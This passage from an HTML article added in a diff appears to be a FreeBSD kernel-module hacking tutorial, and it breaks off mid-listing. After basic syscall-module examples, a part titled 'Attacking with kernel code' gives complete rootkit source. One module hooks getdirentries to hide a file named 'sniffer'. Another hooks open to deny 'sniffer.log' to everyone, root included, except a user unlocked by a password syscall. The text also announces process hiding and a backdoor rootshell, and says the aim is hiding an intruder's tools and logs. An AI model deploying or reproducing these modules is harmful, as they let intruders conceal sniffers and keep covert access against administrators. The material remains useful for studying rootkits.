+ if (uap->buffer==NULL) flag=1;
+
+ /*which list does the user want*/
+ switch(uap->what)
+ {
+ case GD_ALLPROC :
+ {
+ size=0;
+ pr=allproc.lh_first;
+ for (; pr!=0; pr=pr->p_list.le_next)
+ {
+ size+=sizeof(struct proc);
+ }
+ /*if the user only want the size, return it*/
+ if (flag==1) {p->p_retval[0]=size; break;}
+ pr=allproc.lh_first;
+ size=0;
+ /*otherwise returnthe structure into the user space buffer*7
+ for(; pr!=0; pr=pr->p_list.le_next)
+ {
+ copyout(pr, uap->buffer+size, sizeof(struct proc));
+ size+=sizeof(struct proc);
+ }
+ /*return number of procs returned in buffer*/
+ p->p_retval[0]=size/sizeof(struct proc);
+ break;
+ }
+ case GD_MODULES :
+ {
+ size=0;
+ for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
+ {
+ size+=sizeof(struct module);
+ }
+ if (flag==1) {p->p_retval[0]=size; break;}
+ size=0;
+ for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
+ {
+ copyout(mod, uap->buffer+size, sizeof(struct module));
+ size+=sizeof(struct module);
+ }
+ /*return number of procs returned in buffer*/
+ p->p_retval[0]=size/sizeof(struct module);
+ break;
+ }
+ case GD_LINKFILES :
+ {
+ size=0;
+ /*lock*/
+ lockmgr(&lock, LK_SHARED, 0, curproc);
+ for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
+ {
+ size+=sizeof(struct linker_file);
+ }
+ /*unlock*/
+ lockmgr(&lock, LK_RELEASE, 0, curproc);
+ if (flag==1) {p->p_retval[0]=size; break;}
+ size=0;
+ lockmgr(&lock, LK_SHARED, 0, curproc);
+ for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
+ {
+ copyout(lf, uap->buffer+size, sizeof(struct linker_file));
+ size+=sizeof(struct linker_file);
+ }
+ lockmgr(&lock, LK_RELEASE, 0, curproc);
+ /*return number of procs returned in buffer*/
+ p->p_retval[0]=size/sizeof(struct linker_file);
+ break;
+ }
+ }
+ return 0;
+}
+
+
+/*the hacked open syscall*/
+static struct sysent getdata_sysent = {
+ 2,
+ getdata /* sy_call */
+};
+
+
+
+/*
+ * The function called at load/unload.
+ */
+static int
+dummy_handler (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+ switch (cmd) {
+ case MOD_LOAD :
+ /*install the system call, UNLOAD will not remove it, I am too lazy :)*/
+ sysent[210]=getdata_sysent;
+ break;
+ case MOD_UNLOAD :
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+/*install the module as our MISC type*/
+static moduledata_t syscall_mod = {
+ "TheSeeker",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+
+</xmp>
+This is no nice style programming style, but working. The copy* functions will
+be explained in I.8. Recognize that return values for user space a saved in
+a part of the module structure (p->p_retval[0]). The rest should be quite
+clear.<br>
+I also wrote a little user space program showing how to use this system call.
+Of course, you have to load the module before.
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+#include <sys/lock.h>
+
+
+typedef struct linker_file* linker_file_t;
+
+struct linker_file {
+ int refs; /* reference count */
+ int userrefs; /* kldload(2) count */
+ TAILQ_ENTRY(linker_file) link; /* list of all loaded files */
+ char* filename; /* file which was loaded */
+ int id; /* unique id */
+ caddr_t address; /* load address */
+ size_t size; /* size of file */
+ int ndeps; /* number of dependancies */
+ linker_file_t* deps; /* list of dependancies */
+ STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
+ TAILQ_HEAD(, module) modules; /* modules in this file */
+ void* priv; /* implementation data */
+
+ struct linker_file_ops* ops;
+};
+
+
+struct module {
+ TAILQ_ENTRY(module) link;
+ TAILQ_ENTRY(module) flink;
+ struct linker_file *file;
+ int refs;
+ int id;
+ char *name;
+ modeventhand_t handler;
+ void *arg;
+ modspecific_t data;
+};
+
+int errno;
+
+#define GD_ALLPROC 1
+#define GD_LINKFILES 2
+#define GD_MODULES 3
+
+
+/*structure for our getdata system call*/
+struct getdata_args {
+ /*this int value stands for the data the user wants to see*/
+ int what;
+ /*this is a user space buffer where we will put the data*/
+ char *buffer;
+};
+
+void print_allprocs()
+{
+ struct getdata_args gda;
+ int size;
+ struct proc *procs;
+ char *p;
+ int counter, tmp;
+
+ /*set the getdata fields*/
+ gda.what=GD_ALLPROC;
+ gda.buffer=NULL;
+ size=syscall (210, gda);
+
+ /*allocate some bytes*/
+ p=(char*)malloc(size);
+
+ /*set the getdata fields*/
+ gda.what=GD_ALLPROC;
+ gda.buffer=(char*)p;
+ tmp=syscall(210, gda);
+ procs=(struct proc*)p;
+
+ for (counter=0; counter<tmp; counter++)
+ printf("PID : %d\n", procs[counter].p_pid);
+ free(p);
+}
+
+
+void print_files()
+{
+ struct getdata_args gda;
+ int size;
+ struct linker_file *procs;
+ char *p;
+ int counter, tmp;
+
+ /*set the getdata fields*/
+ gda.what=GD_LINKFILES;
+ gda.buffer=NULL;
+ size=syscall (210, gda);
+
+ printf("SIZE : %d\n", size);
+
+ /*allocate some bytes*/
+ p=(char*)malloc(size);
+
+ /*set the getdata fields*/
+ gda.what=GD_LINKFILES;
+ gda.buffer=(char*)p;
+ tmp=syscall(210, gda);
+ printf("STRUCTS : %d\n", tmp);
+ procs=(struct linker_file*)p;
+
+ for (counter=0; counter<tmp; counter++)
+ printf("ID : %d\n", procs[counter].id);
+
+ free(p);
+}
+
+void print_modules()
+{
+ struct getdata_args gda;
+ int size;
+ struct module *procs;
+ char *p;
+ int counter, tmp;
+
+ /*set the getdata fields*/
+ gda.what=GD_MODULES;
+ gda.buffer=NULL;
+ size=syscall (210, gda);
+
+ printf("SIZE : %d\n", size);
+
+ /*allocate some bytes*/
+ p=(char*)malloc(size);
+
+ /*set the getdata fields*/
+ gda.what=GD_MODULES;
+ gda.buffer=(char*)p;
+ tmp=syscall(210, gda);
+ printf("STRUCTS : %d\n", tmp);
+ procs=(struct module*)p;
+ /*print the id of every module loaded so far*/
+ for (counter=0; counter<tmp; counter++)
+ printf("ID : %d\n", procs[counter].id);
+ free(p);
+}
+
+
+
+int
+main(int argc, char **argv)
+{
+ print_modules();
+ return 0;
+}
+</xmp>
+
+Arghh, I hope no computer science professor will see this, it's a cruel kind of
+programming ;), but working [I hate it too loose time with nice software
+design...]. Of course, it would be very easy to make this program more
+compact, but I also wrote it this way to make it easier to understand. The
+different print_* functions will put out the desired information. The
+syscall() function calls a certain system call plus required arguments.<br>
+NOTE :
+This module is no perfect solution. Try to access a field like filename in a
+linker_file structure you get vie print_files. You will get a nice error, why?
+Look at the following image :
+<xmp>
+user space :
+
+----------------------------------------------------------------------------
+
+kernel space : one linker_file structure
+ +++++++++++++++++++++++++
+ +... +
+ + char *filename + ---------> name
+ +... + points to an address in
+ +... + kernel space
+ +... +
+
+</xmp>
+Now what did our system call, take a look at the next image :
+<xmp>
+
+user space : one linker_file structure
+ +++++++++++++++++++++++++
+ +... +
+ + char *filename + ----
+ +... + |
+ +... + |
+ +... + |
+ |
+ |
+ |
+----------------------------------------------------------------------------
+ |
+kernel space : |
+ |---> name
+
+
+</xmp>
+Do you see the problem? The char* filename pointer still points to the old
+address in kernel space while the linker_file structure was move to user
+space. This means you cannot access any pointer fields in the structures /
+lists exported by TheSeeker module. Of course, you could also transform those
+address to user space, but that would be too complicated for a beginner
+example, so I did not implement it. Of course you can access any other fields
+that don't point to some location.
+
+<p>
+<H3><A NAME="I.8."></A>8. From User to Kernel space and back</h3>
+<p>
+
+In TheSeeker I introduced some kernel functions that were responsible for user
+<-> kernel space transitions. The following list shows all functions that are
+important for that task :
+<ul>
+<li>int copyin(const void *uaddr, void *kaddr, size_t len);<br>
+->copies len bytes from user space (uaddr) to kernel space (kaddr)<br>
+
+<li>int copyout(const void *kaddr, void *uaddr, size_t len);<br>
+->copies len bytes from kernel space (kaddr) to user space (uaddr)<br>
+
+<li>int copyinstr(const void *uaddr, void *kaddr, size_t len, size_t
+*done);<br>
+->copies NUL-terminated string, at most len bytes long, fom user
+space (uaddr) to kernel space (kaddr). The number of bytes actually copied
+is returned in done.<br>
+</ul>
+I always used these functions. There are also some other byte-oriented
+functions (like fetch etc.) but I nver used them.
+The easiest task is to copy from user to kerne space. You have only to provide
+a buffer in kernel space. Take a look at the following fragment (taken from
+my directory hack) :
+<xmp>
+/*We need to define M_DIRP2 for allocating some memory in kernel space with
+ the help of the MALLOC macro*/
+MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
+
+...
+
+struct dirent *dirp2, *dirp3;
+
+...
+
+/*allocate memory*/
+MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
+
+...
+
+/*copy from user space (uap->buf) to kernel space (dirp2) tmp bytes*/
+copyin(uap->buf, dirp2, tmp);
+
+</xmp>
+Look at the MALLOC man page for more details. Of course you could also use
+something like char mem[100]; instead of MALLOC, but malloc is the better
+choice.<br>
+So copyin from user to kernel space a trivial. But what about the other
+direction? You have to differentiate between two cases : is there already an
+allocated buffer for the process in user space? If so just use copyout and you
+are done. But what to do if you don't have a memory buffer in user space. Look
+at my solution (I made lots of comments for beginners, please read them :)):
+<xmp>
+/*This example demonstrates how to use the OBREAK syscall to issue a system
+call from kernel mode. I implemented a syscall (offset 210) which will create
+a directory (TESTDIR) by using the mkdir syscall. The general problem with
+this task is supplying the arguments for mkdir from +user space+.*/
+
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+
+
+/*
+ * Shareable process virtual address space.
+ * May eventually be merged with vm_map.
+ * Several fields are temporary (text, data stuff).
+ */
+struct vmspace {
+/*NOTE : I just used some padding stuff, to avoid too much include file
+ problems...
+*/
+/* struct vm_map vm_map; VM address map */
+ char pad1[100];
+/* struct pmap vm_pmap; private physical map */
+ char pad2[36];
+ int vm_refcnt; /* number of references */
+ caddr_t vm_shm; /* SYS5 shared memory private data XXX */
+/* we copy from vm_startcopy to the end of the structure on fork */
+#define vm_startcopy vm_rssize
+ segsz_t vm_rssize; /* current resident set size in pages */
+ segsz_t vm_swrss; /* resident set size before last swap */
+ segsz_t vm_tsize; /* text size (pages) XXX */
+ segsz_t vm_dsize; /* data size (pages) XXX */
+ segsz_t vm_ssize; /* stack size (pages) */
+ caddr_t vm_taddr; /* user virtual address of text XXX */
+ caddr_t vm_daddr; /* user virtual address of data XXX */
+ caddr_t vm_maxsaddr; /* user VA at max stack growth */
+ caddr_t vm_minsaddr; /* user VA at max stack growth */
+};
+
+
+
+/*just a simple syscall handler which will create a dir entry*/
+static int user_syscall (struct proc *p, void *arg)
+{
+ /*example directory we want to create from kernel space via syscall
+ recall that this string is saved in kernel context and not in user space
+ is we need it*/
+ char *kernel_name="./TESTDIR\0";
+
+ /*this will hold our address in user space (for the directory name)*/
+ char *user_name;
+
+ /*one structure for kernel space and one for the user part :
+ This structure is used by the syscall mkdir for holding the required
+ arguments (see system call listing)*/
+ struct mkdir_args kernel_ma;
+ struct mkdir_args *user_ma;
+
+ /*we need to allocate memory, so we use the easiest way : syscall obreak*/
+ struct obreak_args oa;
+
+ /*the process we want to 'abuse' for saving our data in its VM space.
+ I used curproc which always points to the current process.*/
+ struct proc *userproc=curproc;
+
+ /*NOTE : The following stuff is very experimental !
+ ----
+ */
+
+ /*
+ allocate 4096 bytes of heap memory for the user space args :
+ ctob : transforms a given page count to the corresponding bytes count;
+ of course, this calculation depends on the underlying architecture
+ btoc : this is the counterpart to ctob
+ */
+ oa.nsize=userproc->p_vmspace->vm_daddr+ctob(userproc->p_vmspace->vm_dsize)+
+ 4096;
+
+ /*this is just for debugging*/
+ printf("Process ID : %d\n", userproc->p_pid);
+ printf("OLD DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
+ printf("OBREAK RETURN VALUE : %d\n",obreak(userproc, &oa));
+ printf("NEW DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
+
+ /*move our directory name to a random location in the user space data segment
+ range (within the newly allocated page*/
+ user_name=oa.nsize-80;
+
+ /*use copyout, which is able to copy from kernel to user space*/
+ copyout(kernel_name, user_name, strlen(kernel_name));
+
+ /*just for debugging : where did we save the name in user space?*/
+ printf("USER NAME ADDRESS : %p\n", user_name);
+
+ /*now it gets a bit tricky :
+ --------------------------
+ we move the VM address from user space into the kernel_ma.path pointer in
+ kernel space*/
+
+ kernel_ma.path=oa.nsize-80;
+
+ /*creation mode = 0*/
+ kernel_ma.mode=0;
+
+ /*NOW the kernel_ma structure is ok, we can copy this structure to user space
+ */
+
+ /*select a place (within the allocated page) where to put the user_ma
+ structure*/
+ user_ma=(struct mkdir_args*)oa.nsize-50;
+
+ /*again a copyout*/
+ copyout(&kernel_ma, user_ma, sizeof(struct mkdir_args));
+
+ /*again some debug messages*/
+ printf("USER STRUCT ADDRESS : %p\n",user_ma);
+
+ /*Issue the mkdir syscall. Did we succeed ? Zero return value stands for
+ success.*/
+ printf("MKDIR RETURN : %d\n", mkdir(userproc, user_ma));
+
+ return 0;
+}
+
+/*
+ * The `sysent' for the new syscall
+ */
+static struct sysent user_syscall_sysent = {
+ 0,
+ user_syscall /* sy_call */
+};
+
+/*
+ * The offset in sysent where the syscall is allocated.
+ */
+
+/*210 is a free slot in FreeBSD 3.1*/
+static int offset = 210;
+
+/*
+ * The function called at load/unload.
+ */
+static int
+load (struct module *module, int cmd, void *arg)
+{
+ /*no special processing here*/
+ return 0;
+}
+
+SYSCALL_MODULE(syscall, &offset, &user_syscall_sysent, load, NULL);
+</xmp>
+The comments should make everything quite clear. The general idea is to use
+the obreak system call to allocate some memory (move the vm_daddr).
+
+<p>
+<H3><A NAME="I.9."></A>9. Last Words</h3>
+<p>
+I hope you understood the stuff I mentioned in this basic section. It's really
+important that you get the general ideas in order to understand part II.<br>
+You should take a look at the man pages of section 9. There you can find some
+interesting kernel functions that will be useful sometimes.
+
+<p>
+<H3><A NAME="II."></A>II. Attacking with kernel code</h3>
+<p>
+The general layout of this article is based on my Linux article. Part II Fun
+& Profit will deal with ways to attack a FreeBSD system with modules. My Linux
+article shows nearly every aspect of attacking a system with kernel code. The
+FreeBSD part here is based on the ideas of Linux LKM hacks (I only added some
+items special for FreeBSD). This FreeBSD part will only present those modules,
+that needed big code/strategy modifications according to the Linux ones.
+
+<p>
+<H3><A NAME="II.1."></A>1. How to intercept system calls</h3>
+<p>
+Intercepting systemcalls on FreeBSD is nearly the same like doing this on a
+Linux Box. Again we start with a very very basic example :
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+
+
+/*The hacked system call*/
+static int
+hacked_mkdir (struct proc *p, struct mkdir_args *ua)
+{
+ /*the only thing we do is printing a debug message*/
+ printf("MKDIR SYSCALL : %s\n", ua->path);
+ return mkdir(p, ua);
+}
+
+
+/*the sysentry for the hacked system call. Be careful, argument count must be
+same for the hacked and the origanel system call (here 1)*/
+
+static struct sysent
+hacked_mkdir_mkdir_sysent = {
+ 1,
+ hacked_mkdir /* sy_call */
+};
+
+
+/*our load function*/
+static int
+dummy_handler (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+
+ switch (cmd) {
+ case MOD_LOAD :
+ /*replace the mkdir syscall with our own*/
+ sysent[SYS_mkdir]=hacked_mkdir_mkdir_sysent;
+ break;
+ case MOD_UNLOAD :
+ /*argument count has not changed, so we only need to restore the
+ function pointer*/
+ sysent[SYS_mkdir].sy_call=(sy_call_t*)mkdir;
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+static moduledata_t syscall_mod = {
+ "Intercept",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+
+</xmp>
+As you can see you don't have to save the old sysent entry, you just refer to
+the original system call function (no problems like those we had with Linux
+concerning public and private kernel items).<br>
+Compile this module (as always take the Makefile from part I) and load it.
+Every mkdir system call will produce a nice debug message. <br>
+For those who don't know which system call to intercept, again : read my Linux
+article. On FreeBSD ktrace can be quite useful.
+
+<p>
+<H3><A NAME="II.2."></A>2. Filesystem related hacks</h3>
+<p>
+Like the Linux one, we first start with filesystem hacks. They are really
+important for hiding our tools & logs.
+
+<p>
+<H3><A NAME="II.2.1."></A>2.1. How to hide files</h3>
+<p>
+
+The following module represents the getdirentries hack that will hide a certain
+file from directory listings made by commands like 'ls' :<br>
+Note :
+In Phrack (Volume 7, Issue 51 September 01, 1997, article 09) halflife already
+presented a nice hack for this problem. It was implemented under FreeBSD 2.2
+using the LKM scheme. He used a very short and good way to manage file hiding.
+My code below does the same stuff for FreeBSD 3.x systems. My approach is not
+so short, because I did user <-> kernel space transitions for clearness. The
+whole thing would also work without this stuff, but my module can easily be
+extended to do other things, because all relevant structures are copied to
+kernel space so you can modify them how ever you want before they are copied
+back.
+
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+#include <dirent.h>
+
+
+/*We need to define M_DIRP2 for allocating some memory in kernel space with
+ the help of the MALLOC macro*/
+MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
+
+
+/*This hack is based on the getdents idea from some linux LKMs. FreeBSD is
+ a bit more tricky, but it works.*/
+static int
+hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
+{
+ unsigned int tmp, n, t;
+ struct dirent *dirp2, *dirp3;
+
+ /*The file we want to hide : The name must match exactly !*/
+ char hide[]="sniffer";
+
+ /*just issue the syscall*/
+ getdirentries(p,uap);
+
+ /*this is the way BSD returns status values to the process issueing the
+ request.*/
+ tmp=p->p_retval[0];
+
+ if (tmp>0)
+ {
+ /*allocate memory*/
+ MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
+ /*copy the dirent structure for user space in our kernel space*/
+ copyin(uap->buf, dirp2, tmp);
+
+ /*dirp3 points to dirp2*/
+ dirp3=dirp2;
+
+ t=tmp;
+
+ /*In this loop we check for every dirent structure in the user buffer*/
+ while (t > 0)
+ {
+ n = dirp3->d_reclen;
+ t-=n;
+ /*Do we have the entry for our file to hide*/
+ if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
+ {
+ if (t!=0)
+ {
+ /*ATTENTION : Do not use something like strcpy or so. bcopy is able to
+ handle overlapping memroy locations, so this is our choice*/
+ bcopy((char*)dirp3+n,dirp3, t);
+ }
+ /*the dirent structure list is shorter now*/
+ tmp-=n;
+ }
+ /*The following piece of code is necessary, because we get one dirent entry
+ with d_reclen=0, if we would not implement this, we would get an infinite
+ while loop*/
+ if (dirp3->d_reclen==0)
+ {
+ /*end is reached*/
+ t=0;
+ }
+ /*as long as there is something to copy, do it*/
+ if (t!=0)
+ /*get the next pointer from the dirent structure list*/
+ dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
+ }
+ /*we must decrement the getdirentries user call return value, if we changed
+ something*/
+ p->p_retval[0]=tmp;
+
+ /*copy the whole (perhaps modified) memory back to the user buffer*/
+ copyout(dirp2, uap->buf, tmp);
+
+ /*free kernel memory*/
+ FREE(dirp2, M_DIRP2);
+ }
+ /*everything ok, so return 0*/
+ return 0;
+}
+
+/*the hacked getdirentries syscall*/
+static struct sysent hacked_getdirentries_sysent = {
+ 4,
+ hacked_getdirentries /* sy_call */
+};
+
+
+
+/*
+ * The function called at load/unload.
+ */
+static int
+dummy_handler (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+
+ switch (cmd) {
+ case MOD_LOAD :
+ /*replace the getdirentries syscall with our own*/
+ sysent[196]=hacked_getdirentries_sysent;
+ break;
+ case MOD_UNLOAD :
+ /*argument count has not changed, so we only need to restore the
+ function pointer*/
+ sysent[196].sy_call=(sy_call_t*)getdirentries;
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+/*you will recognize that this part is the same (I only changed the module
+ name) for every module I present.*/
+static moduledata_t syscall_mod = {
+ "FileHider",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+</xmp>
+The general idea is the same for FreeBSD and Linux, but there are some
+differences concerning the coding. Especially the return value modification
+must be done in a different way. My comments should be clear, so try it.
+
+<p>
+<H3><A NAME="II.2.2."></A>2.2 How to hide the file contents</h3>
+<p>
+The following implementation is an extension to the Linux one. The Linux module
+was hiding a file contents so that a 'cat filename' returned with a 'file does
+not exist' errror. I implemented no way for you (hacker) to access this file, I
+only suggested some methods how to do it. The following module also implements
+a way to access it by you :
+<xmp>
+/*This module demonstrates how to make a file unaccessible. It has a
+authentication scheme which allows someone using the correct password (here
+007) to access the file. Only this user (represented by UID) can access it
+later. The password (007) is given through a newly defined syscall.*/
+
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+#include <dirent.h>
+
+/*this variable will hold the UID of the user who issued the system call with
+the correct code*/
+
+uid_t access_uid=-1;
+
+/*code for authentication*/
+
+#define CODE 007
+
+
+/*
+ * Shareable process virtual address space.
+ * May eventually be merged with vm_map.
+ * Several fields are temporary (text, data stuff).
+ */
+struct vmspace {
+/*NOTE : I just used some padding stuff, to avoid too much include file
+ problems...
+*/
+/* struct vm_map vm_map; VM address map */
+ char pad1[100];
+/* struct pmap vm_pmap; private physical map */
+ char pad2[36];
+ int vm_refcnt; /* number of references */
+ caddr_t vm_shm; /* SYS5 shared memory private data XXX */
+/* we copy from vm_startcopy to the end of the structure on fork */
+#define vm_startcopy vm_rssize
+ segsz_t vm_rssize; /* current resident set size in pages */
+ segsz_t vm_swrss; /* resident set size before last swap */
+ segsz_t vm_tsize; /* text size (pages) XXX */
+ segsz_t vm_dsize; /* data size (pages) XXX */
+ segsz_t vm_ssize; /* stack size (pages) */
+ caddr_t vm_taddr; /* user virtual address of text XXX */
+ caddr_t vm_daddr; /* user virtual address of data XXX */
+ caddr_t vm_maxsaddr; /* user VA at max stack growth */
+ caddr_t vm_minsaddr; /* user VA at max stack growth */
+};
+
+
+/*arguments for the check_code system call*/
+struct check_code_args {
+ int code;
+};
+
+/*after this check only the one who issued the syscall from user space is able
+to access the file/directory or whatever (only this UID can access it). Of
+course, before, he must supply the correct code.*/
+
+static
+void check_code(struct proc *p, struct check_code_args *uap)
+{
+ if (uap->code==CODE)
+ access_uid=p->p_cred->pc_ucred->cr_uid;
+ else
+ access_uid=-1;
+}
+
+
+/*the hacked open syscall*/
+static
+int hacked_open(struct proc *p, struct open_args *uap)
+{
+ char name[255];
+ /*the file we want to hide*/
+ char hide_name[]="sniffer.log";
+ size_t done;
+
+ /*get name*/
+ copyinstr(uap->path, name, 255, &done);
+ /*do we have the right file name?*/
+ if (strcmp((char*)&name, (char*)&hide_name)==0)
+ {
+ /*does this user have the right to access the file*/
+ if (access_uid==p->p_cred->pc_ucred->cr_uid)
+ {
+ /*if so, do a normal open*/
+ return open(p, uap);
+ }
+ /*no he has not got the right*/
+ else
+ /*standing for 'no such file or directory*/
+ return ENOENT;
+ }
+ /*if we don't have our file, just continue*/
+ return open(p, uap);
+}
+
+
+/*the hacked open syscall*/
+static struct sysent hacked_open_sysent = {
+ 3,
+ hacked_open /* sy_call */
+};
+
+
+/*check code sysentry*/
+static struct sysent check_code_sysent = {
+ 1,
+ check_code
+};
+
+/*
+ * The function called at load/unload.
+ */
+static int
+dummy_handler (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+ switch (cmd) {
+ case MOD_LOAD :
+ /*replace the open syscall with our own*/
+ sysent[SYS_open]=hacked_open_sysent;
+ /*install check code system call (slot/number 210)*/
+ sysent[210]=check_code_sysent;
+ break;
+ case MOD_UNLOAD :
+ /*argument count has not changed, so we only need to restore the
+ function pointer*/
+ sysent[SYS_open].sy_call=(sy_call_t*)open;
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+
+static moduledata_t syscall_mod = {
+ "OpenHide",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+</xmp>
+
+The open hack in general should be clear. If we have our filename we just
+return 'no such file...'. The solution I present to access this file via an
+authentication scheme is quite powerful. The user space program is very easy,
+just issue a system call with syscall() with the correct code (I won't present
+code because it's really too easy).<br>
+After providing the correct code only you (your UID) has access to this file.
+Even root cannot access it (he will also get 'no such file...').
+
+<p>
+<H3><A NAME="II.2.3."></A>2.3 And the rest?</h3>
+<p>
+Those who read my Linux LKM article will recognize that I explained more hacks
+(like file operation redirection, mkdir interception etc.). Why don't I
+present them here? Because these hacks are trivial to implement after the
+things I said already.
+
+<p>
+<H3><A NAME="II.3."></A>3. Process related hacks</h3>
+<p>
+This section will introduce some modules making it possible to hide any
+process and install a backdoor rootshell.
+
+<p>
+<H3><A NAME="II.3.1."></A>3.1 How to hide any process</h3>
+<p>
+Well, I have to admit that it wasn't very easy to make this possible on
+FreeBSD. And the following solution is quite experimental (but working, of
+course). You have to know that FreeBSD uses the so called KVM library to get
+information on the processes of the system (it is a library interface to the
+allproc and zombroc lists). Besides this, commands like top also use the
+procfs. This means we have to attack two points. Hiding an entry from the
+procfs is easy (just hide the PID from getdirentries), but what about the KVM
+lib. Let me explain some words. The following explaination makes things easier
+than they are in reality, but it's enough for a general understanding.
+We start with a code snippet from the 'ps' command :
+<xmp>
+/*
+ * select procs
+ */
+ if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
+ errx(1, "%s", kvm_geterr(kd));
+
+ if ((kinfo = malloc(nentries * sizeof(*kinfo))) == NULL)
+ err(1, NULL);
+ printf("SIZE %d\n", nentries*sizeof(*kinfo));
+ for (i = nentries; --i >= 0; ++kp) {
+ kinfo[i].ki_p = kp;
+ if (needuser)
+ saveuser(&kinfo[i]);
+ dynsizevars(&kinfo[i]);
+ }
+
+ sizevars();
+
+ /*
+ * print header
+ */
+ printheader();
+ if (nentries == 0)
+ exit(0);
+ /*
+ * sort proc list
+ */
+ qsort(kinfo, nentries, sizeof(KINFO), pscomp);
+ /*
+ * for each proc, call each variable output function.
+ */
+ for (i = lineno = 0; i < nentries; i++) {
+ if (xflg == 0 && (KI_EPROC(&kinfo[i])->e_tdev == NODEV ||
+ (KI_PROC(&kinfo[i])->p_flag & P_CONTROLT ) == 0))
+ continue;
+ for (vent = vhead; vent; vent = vent->next) {
+ (vent->var->oproc)(&kinfo[i], vent);
+ if (vent->next != NULL)
+ (void)putchar(' ');
+ }
+ (void)putchar('\n');
+ if (prtheader && lineno++ == prtheader - 4) {
+ (void)putchar('\n');
+ printheader();
+ lineno = 0;
+ }
+ }
+ exit(eval);
+
+There is only one line interesting for us :
+
+if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
+
+</xmp>
+
+Note :
+what=KERN_PROC_ALL for commands like 'ps' flag=0<br>
+what=KERN_PRC_PID for commands like 'ps PID' flag=PID<br>
+
+The kvm_getprocs function (from the KVM lib) is the user space interface to
+access the kernel process lists. So let's take a look at this function in the
+library :
+<xmp>
+struct kinfo_proc *
+kvm_getprocs(kd, op, arg, cnt)
+ kvm_t *kd;
+ int op, arg;
+ int *cnt;
+{
+ int mib[4], st, nprocs;
+ size_t size;
+
+ if (kd->procbase != 0) {
+ free((void *)kd->procbase);
+ /*
+ * Clear this pointer in case this call fails. Otherwise,
+ * kvm_close() will free it again.
+ */
+ kd->procbase = 0;
+ }
+ if (ISALIVE(kd)) {
+ size = 0;
+ mib[0] = CTL_KERN;
+ mib[1] = KERN_PROC;
+ mib[2] = op;
+ mib[3] = arg;
+ st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4, NULL, &size, NULL, 0);
+ if (st == -1) {
+ _kvm_syserr(kd, kd->program, "kvm_getprocs");
+ return (0);
+ }
+ do {
+ size += size / 10;
+ kd->procbase = (struct kinfo_proc *)
+ _kvm_realloc(kd, kd->procbase, size);
+ if (kd->procbase == 0)
+ return (0);
+ st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4,
+ kd->procbase, &size, NULL, 0);
+ } while (st == -1 && errno == ENOMEM);
+ if (st == -1) {
+ _kvm_syserr(kd, kd->program, "kvm_getprocs");
+ return (0);
+ }
